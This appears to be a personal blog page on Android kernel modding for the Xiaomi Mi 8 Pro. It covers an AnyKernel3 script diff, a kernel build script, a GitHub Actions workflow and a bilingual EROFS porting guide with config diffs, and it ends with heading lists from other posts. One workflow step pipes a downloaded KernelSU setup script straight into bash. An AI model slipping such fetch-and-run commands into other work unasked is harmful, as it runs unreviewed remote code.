-kernel.string=ExampleKernel by osm0sis @ xda-developers
+kernel.string=Xiaomi 8 Pro Kernel by Kagura iYoRoy @ iYoRoy Studio
 do.devicecheck=1
 do.modules=0
-do.systemless=1
+do.systemless=0
 do.cleanup=1
 do.cleanuponabort=0
-device.name1=maguro
-device.name2=toro
-device.name3=toroplus
-device.name4=tuna
-device.name5=
-supported.versions=
+device.name1=equuleus
+supported.versions=13
 supported.patchlevels=
-supported.vendorpatchlevels=
 '; } # end properties

-
 ### AnyKernel install
 ## boot files attributes
 boot_attributes() {
@@ -29,7 +23,7 @@ set_perm_recursive 0 0 750 750 $ramdisk/init* $ramdisk/sbin;
 } # end attributes

 # boot shell variables
-block=/dev/block/platform/omap/omap_hsmmc.0/by-name/boot;
+block=/dev/block/bootdevice/by-name/boot;
 is_slot_device=0;
 ramdisk_compression=auto;
 patch_vbmeta_flag=auto;
@@ -41,32 +35,26 @@ patch_vbmeta_flag=auto;
 dump_boot; # use split_boot to skip ramdisk unpack, e.g. for devices with init_boot ramdisk

 # init.rc
-backup_file init.rc;
-replace_string init.rc "cpuctl cpu,timer_slack" "mount cgroup none /dev/cpuctl cpu" "mount cgroup none /dev/cpuctl cpu,timer_slack";
+#backup_file init.rc;
+#replace_string init.rc "cpuctl cpu,timer_slack" "mount cgroup none /dev/cpuctl cpu" "mount cgroup none /dev/cpuctl cpu,timer_slack";

 # init.tuna.rc
-backup_file init.tuna.rc;
-insert_line init.tuna.rc "nodiratime barrier=0" after "mount_all /fstab.tuna" "\tmount ext4 /dev/block/platform/omap/omap_hsmmc.0/by-name/userdata /data remount nosuid nodev noatime nodiratime barrier=0";
-append_file init.tuna.rc "bootscript" init.tuna;
+#backup_file init.tuna.rc;
+#insert_line init.tuna.rc "nodiratime barrier=0" after "mount_all /fstab.tuna" "\tmount ext4 /dev/block/platform/omap/omap_hsmmc.0/by-name/userdata /data remount nosuid nodev noatime nodiratime barrier=0";
+#append_file init.tuna.rc "bootscript" init.tuna;

 # fstab.tuna
-backup_file fstab.tuna;
-patch_fstab fstab.tuna /system ext4 options "noatime,barrier=1" "noatime,nodiratime,barrier=0";
-patch_fstab fstab.tuna /cache ext4 options "barrier=1" "barrier=0,nomblk_io_submit";
-patch_fstab fstab.tuna /data ext4 options "data=ordered" "nomblk_io_submit,data=writeback";
-append_file fstab.tuna "usbdisk" fstab;
+#backup_file fstab.tuna;
+#patch_fstab fstab.tuna /system ext4 options "noatime,barrier=1" "noatime,nodiratime,barrier=0";
+#patch_fstab fstab.tuna /cache ext4 options "barrier=1" "barrier=0,nomblk_io_submit";
+#patch_fstab fstab.tuna /data ext4 options "data=ordered" "nomblk_io_submit,data=writeback";
+#append_file fstab.tuna "usbdisk" fstab;

 write_boot; # use flash_boot to skip ramdisk repack, e.g. for devices with init_boot ramdisk
 ## end boot install


-## init_boot files attributes
-#init_boot_attributes() {
-#set_perm_recursive 0 0 755 644 $ramdisk/*;
-#set_perm_recursive 0 0 750 750 $ramdisk/init* $ramdisk/sbin;
-#} # end attributes
-
-# init_boot shell variables
+## init_boot shell variables
 #block=init_boot;
 #is_slot_device=1;
 #ramdisk_compression=auto;
@@ -98,13 +86,7 @@ write_boot; # use flash_boot to skip ramdisk repack, e.g. for devices with init_
 ## end vendor_kernel_boot install


-## vendor_boot files attributes
-#vendor_boot_attributes() {
-#set_perm_recursive 0 0 755 644 $ramdisk/*;
-#set_perm_recursive 0 0 750 750 $ramdisk/init* $ramdisk/sbin;
-#} # end attributes
-
-# vendor_boot shell variables
+## vendor_boot shell variables
 #block=vendor_boot;
 #is_slot_device=1;
 #ramdisk_compression=auto;
@@ -118,4 +100,3 @@ write_boot; # use flash_boot to skip ramdisk repack, e.g. for devices with init_

 #write_boot; # use flash_boot to skip ramdisk repack, e.g. for dtb on devices with hdr v4 but no vendor_kernel_boot
 ## end vendor_boot install
-

Compile the Kernel

It's recommended to refer to online tutorials for this step, as compilation parameter settings can vary for different kernels.
I've packaged the compilation process into a shell script for reference:

:::note Please replace $WORKSPACE below with your own working directory. :::

#!/bin/bash
ARCH="arm64"
CLANG_DIR="$WORKSPACE/clang/clang-r450784d" #Clang directory
CC="$CLANG_DIR/bin/clang"
export PATH="$CLANG_DIR/bin:$PATH"
OUT_DIR="./out"
CLANG_TRIPLE="aarch64-linux-gnu-"
CROSS_COMPILE="$WORKSPACE/aarch64-linux-android-4.9/bin/aarch64-linux-androidkernel-" #aarch64 GCC
CROSS_COMPILE_ARM32="$WORKSPACE/arm-linux-androideabi-4.9/bin/arm-linux-androidkernel-" #arm GCC
CC_ADDITION_FLAGS="AR=llvm-ar NM=llvm-nm OBJCOPY=llvm-objcopy OBJDUMP=llvm-objdump STRIP=llvm-strip LLVM_IAS=1 LLVM=1 LD=ld.lld"
ANYKERNEL_DIR="$WORKSPACE/AnyKernel3" #Location of your prepared AnyKernel3 directory

THREAD=$(nproc --all)

args="-j$THREAD O=$OUT_DIR ARCH=$ARCH CROSS_COMPILE=$CROSS_COMPILE CROSS_COMPILE_ARM32=$CROSS_COMPILE_ARM32 CC=$CC CLANG_TRIPLE=$CLANG_TRIPLE $CC_ADDITION_FLAGS"

### Compile Kernel ###
echo "[+]Args: $args"
echo "[+}Generate .config"
make equuleus_user_defconfig $args #Here 'equuleus_user_defconfig' is the defconfig file for the equuleus kernel. Replace it with your kernel's config file name.
echo "[+]Begin Build"
make $args
### Compilation Complete ###

### Create AnyKernel3 Zip ###
cd $WORKSPACE/sdm845/KernelSU
KSU_VERSION='v0.9.5'
TARGET_KERNEL="Mi8Pro-LineageKernel-KernelSU$KSU_VERSION" #Kernel filename
echo "[+]KernelSU Version: $KSU_VERSION"
echo "[+]Target file: $TARGET_KERNEL"
cd $WORKSPACE/AnyKernel3
cp $WORKSPACE/sdm845/out/arch/arm64/boot/Image .
cp $WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz .
cp $WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz-dtb .
OUTPUT_FILE=${TARGET_KERNEL}-$(date +"%y.%m.%d").zip
echo "[+]Output: $OUTPUT_FILE"
zip -r $OUTPUT_FILE *
mv $OUTPUT_FILE $WORKSPACE

Flashing

Use a recovery like TWRP to flash the zip.

Automatically Compile the Kernel using GitHub Actions

Refer to this YAML file for workflow setup: https://github.com/iYoRoy-AOSP-Institute/AnyKernel3-equuleus/blob/13/.github/workflows/build.yml

Expand Code

name: Build AnyKernel
on:
  push:
  schedule:
    - cron: '0 0 * * 0'

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Download
        run: |
          echo "Free space:"
          df -h
          cd $GITHUB_WORKSPACE
          echo "[+]Install packages:"
          sudo apt update
          sudo apt install zip bc bison build-essential ccache curl flex g++-multilib gcc-multilib git gnupg gperf imagemagick lib32ncurses5-dev lib32readline-dev lib32z1-dev liblz4-tool libncurses5-dev libncurses5 libsdl1.2-dev libssl-dev libwxgtk3.0-gtk3-dev libxml2 libxml2-utils lzop pngcrush rsync schedtool squashfs-tools xsltproc zip zlib1g-dev make unzip python-is-python3
          echo "[+]Clone dependencies:"
          git clone https://github.com/KaguraiYoRoy/android_kernel_xiaomi_sdm845 -b lineage-20 sdm845
          git clone https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86 --depth=1 -b android-13.0.0_r43 clang
          git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9 -b android-10.0.0_r32 --depth=1
          git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.9 -b android-10.0.0_r32 --depth=1
          git clone https://github.com/KaguraiYoRoy/AnyKernel3-equuleus AnyKernel3 --depth=1
      - name: Setup KernelSU
        run: |
          cd $GITHUB_WORKSPACE/sdm845
          curl -LSs "https://raw.githubusercontent.com/tiann/KernelSU/main/kernel/setup.sh" | bash -s main
      - name: Build Kernel
        run: |
          cd $GITHUB_WORKSPACE/sdm845
          ARCH="arm64"
          CLANG_DIR="$GITHUB_WORKSPACE/clang/clang-r450784d"
          CC="$CLANG_DIR/bin/clang"
          export PATH="$CLANG_DIR/bin:$PATH"
          OUT_DIR="./out"
          CLANG_TRIPLE="aarch64-linux-gnu-"
          CROSS_COMPILE="$GITHUB_WORKSPACE/aarch64-linux-android-4.9/bin/aarch64-linux-androidkernel-"
          CROSS_COMPILE_ARM32="$GITHUB_WORKSPACE/arm-linux-androideabi-4.9/bin/arm-linux-androidkernel-"
          CC_ADDITION_FLAGS="AR=llvm-ar NM=llvm-nm OBJCOPY=llvm-objcopy OBJDUMP=llvm-objdump STRIP=llvm-strip LLVM_IAS=1 LLVM=1 LD=ld.lld"
          THREAD=$(nproc --all)
          ANYKERNEL_DIR="$GITHUB_WORKSPACE/AnyKernel3"
          args="-j$THREAD O=$OUT_DIR ARCH=$ARCH CROSS_COMPILE=$CROSS_COMPILE CROSS_COMPILE_ARM32=$CROSS_COMPILE_ARM32 CC=$CC CLANG_TRIPLE=$CLANG_TRIPLE $CC_ADDITION_FLAGS"
          echo "[+]Args: $args"
          echo "[+}Generate .config"
          make equuleus_user_defconfig $args
          echo "[+]Begin Build"
          make $args
      - name: Compress
        run: |
          cd $GITHUB_WORKSPACE/sdm845/KernelSU
          KSU_VERSION=`expr 10000 + \`git rev-list --count HEAD\` + 200`
          TARGET_KERNEL="Mi8Pro-LineageKernel-KernelSU$KSU_VERSION"
          echo "[+]KernelSU Version: $KSU_VERSION"
          echo "[+]Target file: $TARGET_KERNEL"
          cd $GITHUB_WORKSPACE/AnyKernel3
          cp $GITHUB_WORKSPACE/sdm845/out/arch/arm64/boot/Image .
          cp $GITHUB_WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz .
          cp $GITHUB_WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz-dtb .
          OUTPUT_FILE=${TARGET_KERNEL}-$(date +"%y.%m.%d").zip
          echo "[+]Output: $OUTPUT_FILE"
          zip -r $OUTPUT_FILE *
          mv $OUTPUT_FILE $GITHUB_WORKSPACE
      - name: Release
        uses: softprops/action-gh-release@v1
        with:
          tag_name: Android13
          files: |
            Mi8Pro*.zip

~~I definitely won't tell you that the script above was also extracted from here x~~

记一次为Android 4.9内核的ROM启用erofs支持

Wed, 25 Dec 2024 15:26:00 GMT

前言

~~众所周知，咱是老牌小米8屏幕指纹版钉子户了~~
咱一直想给这个机子上个erofs（关于erofs是什么请自行搜索
但是经过查阅得知erofs是在5.10被加入到Linux内核中的，也就是说咱4.9得手动集成

准备材料

Android ROM源码：这里使用的是LineageOS 22.0
Android Kernel源码：这里咱用的是LineageOS官方小米845内核：LineageOS/android_kernel_xiaomi_sdm845
设备树：这里使用的是LineageOS官方设备树，包含sdm845-common部分（LineageOS/android_device_xiaomi_sdm845-common）和device-specific部分（LineageOS/android_device_xiaomi_equuleus）
编译服务器

:::note 注：因为咱主要是玩编译的比较多，因此这篇主要阐述的是编译ROM过程中的折腾记录 :::

开整

部署Android ROM编译环境就不说了，网上一搜一大片，把ROM源码、设备树、内核源码下载下来放到对应位置

为内核添加erofs支持

此处代码pick from ReallySnow的msm-4.9内核（谢谢ReallySnow大佬的支持！），可参考如下分支：

https://github.com/ReallySnow/msm-4.9/tree/erofs
https://github.com/YoriInstitute/android_kernel_xiaomi_sdm845/tree/lineage-22.0-erofs

pick之前要先处理lz4压缩部分代码的冲突。详细Relation chain可参考：

https://review.lineageos.org/c/LineageOS/android_kernel_xiaomi_sdm845/+/412614

~~咱尝试将改造提交给LineageOS官方但是很显然没被合并x~~

pick完更改后在内核的defconfig文件中开启erofs支持：
打开$KERNEL_SOURCE/arch/arm64/configs/vendor/xiaomi/mi845_defconfig并添加：CONFIG_EROFS_FS=y：

commit 7ae5caab2c15982b3d3821c97e2f2e6126ca1281 (HEAD -> erofs, refs/published/erofs)
Author: KaguraiYoRoy <neko@yori.moe>
Date:   Tue Dec 24 22:49:07 2024 +0800

    arch: arm64: configs: mi845: Enable CONFIG_EROFS_FS

    Change-Id: Ie387b03bde54700d73ccf19f0baf4db62526cc8f

diff --git a/arch/arm64/configs/vendor/xiaomi/mi845_defconfig b/arch/arm64/configs/vendor/xiaomi/mi845_defconfig
index 7684be360d98..69ea580fdb11 100644
--- a/arch/arm64/configs/vendor/xiaomi/mi845_defconfig
+++ b/arch/arm64/configs/vendor/xiaomi/mi845_defconfig
@@ -651,3 +651,4 @@ CONFIG_SOUNDWIRE_WCD_CTRL=y
 CONFIG_WCD9XXX_CODEC_CORE=y
 CONFIG_WCD_DSP_GLINK=y
 CONFIG_WCD_SPI_AC=y
+CONFIG_EROFS_FS=y
\ No newline at end of file

修改分区文件系统和fstab

打开设备树中板级配置文件把要改为erofs的分区的文件系统改为erofs，示例中的配置文件在$WORKING_DIR/device/xiaomi/sdm845-common/BoardConfigCommon.mk：

commit 0fce86fb40ca637a8563bef6192afaea1658c881 (HEAD -> erofs, refs/published/erofs)
Author: KaguraiYoRoy <neko@yori.moe>
Date:   Tue Dec 24 23:37:50 2024 +0800

    sdm845-common: Switch to erofs

    Change-Id: I9a8d6de4dcb79cd6bc177451ce3cbc4682748501

diff --git a/BoardConfigCommon.mk b/BoardConfigCommon.mk
index cf73d39..700592f 100644
--- a/BoardConfigCommon.mk
+++ b/BoardConfigCommon.mk
@@ -78,11 +78,11 @@ BOARD_CACHEIMAGE_PARTITION_SIZE := 268435456
 BOARD_USERDATAIMAGE_PARTITION_SIZE := 57453555712

 BOARD_CACHEIMAGE_FILE_SYSTEM_TYPE := ext4
-BOARD_ODMIMAGE_FILE_SYSTEM_TYPE := ext4
+BOARD_ODMIMAGE_FILE_SYSTEM_TYPE := erofs
 BOARD_PRODUCTIMAGE_FILE_SYSTEM_TYPE := ext4
 BOARD_SYSTEMIMAGE_FILE_SYSTEM_TYPE := ext4
 BOARD_SYSTEM_EXTIMAGE_FILE_SYSTEM_TYPE := ext4
-BOARD_VENDORIMAGE_FILE_SYSTEM_TYPE := ext4
+BOARD_VENDORIMAGE_FILE_SYSTEM_TYPE := erofs

 BOARD_FLASH_BLOCK_SIZE := 262144 # (BOARD_KERNEL_PAGESIZE * 64)

修改机器fstab文件，此处在$WORKING_DIR/device/xiaomi/equuleus/rootdir/fstab.qcom，将挂载文件系统改为erofs，挂载参数仅保留一个ro即可：

commit d66bfc8fe722f7368ef56835d35fb88b904e10fb (HEAD -> erofs, refs/published/erofs)
Author: KaguraiYoRoy <neko@yori.moe>
Date:   Tue Dec 24 23:40:08 2024 +0800

    equuleus: Update fstab for erofs

    Change-Id: I814eab1dd77cf2c184ebd398cc4914785bc37ad6

diff --git a/rootdir/etc/fstab.qcom b/rootdir/etc/fstab.qcom
index 7aca90a..685ec84 100644
--- a/rootdir/etc/fstab.qcom
+++ b/rootdir/etc/fstab.qcom
@@ -6,8 +6,8 @@
 system                                       /system                 ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
 system_ext                                   /system_ext             ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
 product                                      /product                ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
-vendor                                       /vendor                 ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
-odm                                          /odm                    ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
+vendor                                       /vendor                 erofs   ro                                                                                                wait,logical,first_stage_mount
+odm                                          /odm                    erofs   ro                                                                                                wait,logical,first_stage_mount
 /dev/block/bootdevice/by-name/userdata       /data                   ext4    noatime,nosuid,nodev,barrier=0,noauto_da_alloc                                                    latemount,wait,check,fileencryption=ice,quota
 /dev/block/bootdevice/by-name/modem          /vendor/firmware_mnt    vfat    ro,shortname=lower,uid=0,gid=1000,dmask=227,fmask=337,context=u:object_r:firmware_file:s0         wait
 /dev/block/bootdevice/by-name/dsp            /vendor/dsp             ext4    ro,nosuid,nodev,barrier=1                                                                         wait

最后编译并刷入，如果不出意外的话就能启动进系统了。

特别注意

LineageOS官方对我这款机型做了动态分区改造，上述设备树的修改可能并不适用于你的机型
erofs为只读文件系统，如果后期要刷Gapps，请勿改造system、system_ext、product这三个分区

常见问题

开机进入fastboot：检查fstab是否修改正确

Enabling EROFS Support for an Android ROM with Kernel 4.9

Wed, 25 Dec 2024 15:26:00 GMT

Foreword

~~As everyone knows, I'm a long-standing Mi 8 Pro (Under-Screen Fingerprint Edition) holdout~~
I've always wanted to port erofs to this device (please search online for what erofs is). But after some research, I found out that erofs was merged into the Linux kernel in version 5.10, which means I have to manually integrate it into our 4.9 kernel.

Materials Needed

Android ROM Source Code: Using LineageOS 22.0 here.
Android Kernel Source Code: Using the official LineageOS kernel for Xiaomi SDM845 devices: LineageOS/android_kernel_xiaomi_sdm845
Device Tree: Using the official LineageOS device trees, which include the sdm845-common part: LineageOS/android_device_xiaomi_sdm845-common and the device-specific part: LineageOS/android_device_xiaomi_equuleus
A build server

:::note Note: Since I'm primarily focused on ROM building, this article mainly documents the process within that context. :::

Let's Start

Setting up the Android ROM build environment won't be covered here, as there are plenty of guides online. Download the ROM source, device tree, and kernel source, and place them in the correct locations.

Adding EROFS Support to the Kernel

The code changes were picked from ReallySnow's msm-4.9 kernel (Thanks to ReallySnow for the support!). You can refer to these branches:

https://github.com/ReallySnow/msm-4.9/tree/erofs
https://github.com/YoriInstitute/android_kernel_xiaomi_sdm845/tree/lineage-22.0-erofs

Before picking the commits, you need to resolve conflicts in the lz4 compression code. For the detailed relation chain, refer to:

https://review.lineageos.org/c/LineageOS/android_kernel_xiaomi_sdm845/+/412614

~~I tried to submit these changes to LineageOS official, but obviously, they weren't merged x~~

After picking the changes, enable erofs support in the kernel's defconfig file:
Open $KERNEL_SOURCE/arch/arm64/configs/vendor/xiaomi/mi845_defconfig and add: CONFIG_EROFS_FS=y:

commit 7ae5caab2c15982b3d3821c97e2f2e6126ca1281 (HEAD -> erofs, refs/published/erofs)
Author: KaguraiYoRoy <neko@yori.moe>
Date:   Tue Dec 24 22:49:07 2024 +0800

    arch: arm64: configs: mi845: Enable CONFIG_EROFS_FS

    Change-Id: Ie387b03bde54700d73ccf19f0baf4db62526cc8f

diff --git a/arch/arm64/configs/vendor/xiaomi/mi845_defconfig b/arch/arm64/configs/vendor/xiaomi/mi845_defconfig
index 7684be360d98..69ea580fdb11 100644
--- a/arch/arm64/configs/vendor/xiaomi/mi845_defconfig
+++ b/arch/arm64/configs/vendor/xiaomi/mi845_defconfig
@@ -651,3 +651,4 @@ CONFIG_SOUNDWIRE_WCD_CTRL=y
 CONFIG_WCD9XXX_CODEC_CORE=y
 CONFIG_WCD_DSP_GLINK=y
 CONFIG_WCD_SPI_AC=y
+CONFIG_EROFS_FS=y
\ No newline at end of file

Modifying Partition Filesystems and Fstab

Open the board configuration file in the device tree and change the filesystem type for the partitions you want to convert to erofs. The example configuration file is located at $WORKING_DIR/device/xiaomi/sdm845-common/BoardConfigCommon.mk:

commit 0fce86fb40ca637a8563bef6192afaea1658c881 (HEAD -> erofs, refs/published/erofs)
Author: KaguraiYoRoy <neko@yori.moe>
Date:   Tue Dec 24 23:37:50 2024 +0800

    sdm845-common: Switch to erofs

    Change-Id: I9a8d6de4dcb79cd6bc177451ce3cbc4682748501

diff --git a/BoardConfigCommon.mk b/BoardConfigCommon.mk
index cf73d39..700592f 100644
--- a/BoardConfigCommon.mk
+++ b/BoardConfigCommon.mk
@@ -78,11 +78,11 @@ BOARD_CACHEIMAGE_PARTITION_SIZE := 268435456
 BOARD_USERDATAIMAGE_PARTITION_SIZE := 57453555712

 BOARD_CACHEIMAGE_FILE_SYSTEM_TYPE := ext4
-BOARD_ODMIMAGE_FILE_SYSTEM_TYPE := ext4
+BOARD_ODMIMAGE_FILE_SYSTEM_TYPE := erofs
 BOARD_PRODUCTIMAGE_FILE_SYSTEM_TYPE := ext4
 BOARD_SYSTEMIMAGE_FILE_SYSTEM_TYPE := ext4
 BOARD_SYSTEM_EXTIMAGE_FILE_SYSTEM_TYPE := ext4
-BOARD_VENDORIMAGE_FILE_SYSTEM_TYPE := ext4
+BOARD_VENDORIMAGE_FILE_SYSTEM_TYPE := erofs

 BOARD_FLASH_BLOCK_SIZE := 262144 # (BOARD_KERNEL_PAGESIZE * 64)

Modify the device's fstab file, located here at $WORKING_DIR/device/xiaomi/equuleus/rootdir/fstab.qcom. Change the filesystem type for the relevant partitions to erofs, and reduce the mount parameters to just ro:

commit d66bfc8fe722f7368ef56835d35fb88b904e10fb (HEAD -> erofs, refs/published/erofs)
Author: KaguraiYoRoy <neko@yori.moe>
Date:   Tue Dec 24 23:40:08 2024 +0800

    equuleus: Update fstab for erofs

    Change-Id: I814eab1dd77cf2c184ebd398cc4914785bc37ad6

diff --git a/rootdir/etc/fstab.qcom b/rootdir/etc/fstab.qcom
index 7aca90a..685ec84 100644
--- a/rootdir/etc/fstab.qcom
+++ b/rootdir/etc/fstab.qcom
@@ -6,8 +6,8 @@
 system                                       /system                 ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
 system_ext                                   /system_ext             ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
 product                                      /product                ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
-vendor                                       /vendor                 ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
-odm                                          /odm                    ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
+vendor                                       /vendor                 erofs   ro                                                                                                wait,logical,first_stage_mount
+odm                                          /odm                    erofs   ro                                                                                                wait,logical,first_stage_mount
 /dev/block/bootdevice/by-name/userdata       /data                   ext4    noatime,nosuid,nodev,barrier=0,noauto_da_alloc                                                    latemount,wait,check,fileencryption=ice,quota
 /dev/block/bootdevice/by-name/modem          /vendor/firmware_mnt    vfat    ro,shortname=lower,uid=0,gid=1000,dmask=227,fmask=337,context=u:object_r:firmware_file:s0         wait
 /dev/block/bootdevice/by-name/dsp            /vendor/dsp             ext4    ro,nosuid,nodev,barrier=1                                                                         wait

Finally, build and flash the ROM. If all goes well, it should boot into the system.

Important Notes

LineageOS official has implemented Dynamic Partition for my device model. The device tree modifications described above might not be suitable for your device.
erofs is a read-only filesystem. If you plan to flash Gapps later, DO NOT convert the system, system_ext, and product partitions.

Frequently Asked Questions

Booting into Fastboot mode: Check if the fstab modifications are correct.

悠笙の开发日记

DN42&OneManISP - 联邦, 自动化, IPAM 与 Overlay Network

TL;DR

背景

分析

旧架构的问题

设计目标与 BGP Confederation

Overlay 与 IPAM

设计

联邦 AS: 4220240000 - 4220249999

Underlay IPAM

Overlay IPAM

Community 隔离机制

路由生命周期

第一阶段: Ingress / Import

第二阶段: Core / Intra Confederation

第三阶段: Egress / Export

自动化: 把网络意图编译成配置

Source of Truth: 节点状态而不是配置文件

Domain Intent: peer 声明式配置

自动派生 endpoint 与 passive peer

通用场景 & 例外

配置渲染

验证 & 部署

总结

DN42&OneManISP – Confederation, Automation, IPAM and Overlay Network

TL;DR

Background

Analysis

Problems with the Old Architecture

Design Goals and BGP Confederation

Overlay and IPAM

Design

Confederation AS: 4220240000 – 4220249999

Underlay IPAM

Overlay IPAM

Community Isolation Mechanism

Route Lifecycle

Phase 1: Ingress / Import

Phase 2: Core / Intra Confederation

Phase 3: Egress / Export

Automation: Compiling Network Intent into Configuration

Source of Truth: Node State, Not Config Files

Domain Intent: Declarative Peer Configuration

Automatic Endpoint Derivation and Passive Peers

Generic Scenarios & Exceptions

Configuration Rendering

Validation & Deployment

Conclusion

家庭网络更新 - 猫棒 + 802.11k/v/r 漫游

专业名词解释

1. 宽带与光通信 (Fiber & PON)

2. 无线局域网与漫游 (Wi-Fi & Roaming)

3. 网络协议与系统设置 (Network & System)

准备材料

给 BE10000 刷机

获取运营商 ONU 配置

配置 GPON Stick (猫棒)

配置拨号上网

修改 WiFi 基本信息

配置 802.11 k/v/r

主路由

1. 802.11k: 无线资源测量 / 邻居报告

1.1 ieee80211k='1'

1.2 rrm_neighbor_report='1'

1.3 rrm_beacon_report='1'

2. 802.11v: BSS Transition / 漫游引导

2.1 ieee80211v='1'

2.2 bss_transition='1'

2.3 time_advertisement='0'

2.4 wnm_sleep_mode='0'

3. 802.11r: Fast Transition / 快速漫游

3.1 ieee80211r='1'

3.2 mobility_domain='cafe'

3.3 reassociation_deadline='1000'

3.4 ft_over_ds='0'

FT over the Air

FT over DS

3.5 ft_psk_generate_local='1'

4. NAS ID: 每个 BSS 的唯一身份

1.1 `ieee80211k='1'`

1.2 `rrm_neighbor_report='1'`

1.3 `rrm_beacon_report='1'`

2.1 `ieee80211v='1'`

2.2 `bss_transition='1'`

2.3 `time_advertisement='0'`

2.4 `wnm_sleep_mode='0'`

3.1 `ieee80211r='1'`

3.2 `mobility_domain='cafe'`

3.3 `reassociation_deadline='1000'`

3.4 `ft_over_ds='0'`

3.5 `ft_psk_generate_local='1'`

4.1 `nasid='Master_2_4G'`

1.1 `ieee80211k='1'`

1.2 `rrm_neighbor_report='1'`

1.3 `rrm_beacon_report='1'`

2.1 `ieee80211v='1'`

2.2 `bss_transition='1'`

2.3 `time_advertisement='0'`

2.4 `wnm_sleep_mode='0'`

3.1 `ieee80211r='1'`

3.2 `mobility_domain='cafe'`

3.3 `reassociation_deadline='1000'`

3.4 `ft_over_ds='0'`

3.5 `ft_psk_generate_local='1'`

4.1 `nasid='Master_2_4G'`

一、资源限制 (Resource Control)

二、安全与隔离 (Security & Isolation)

第一步：启动监控 (由 `.path` 文件负责)

第三步：执行动作 (由 `.service` 文件负责)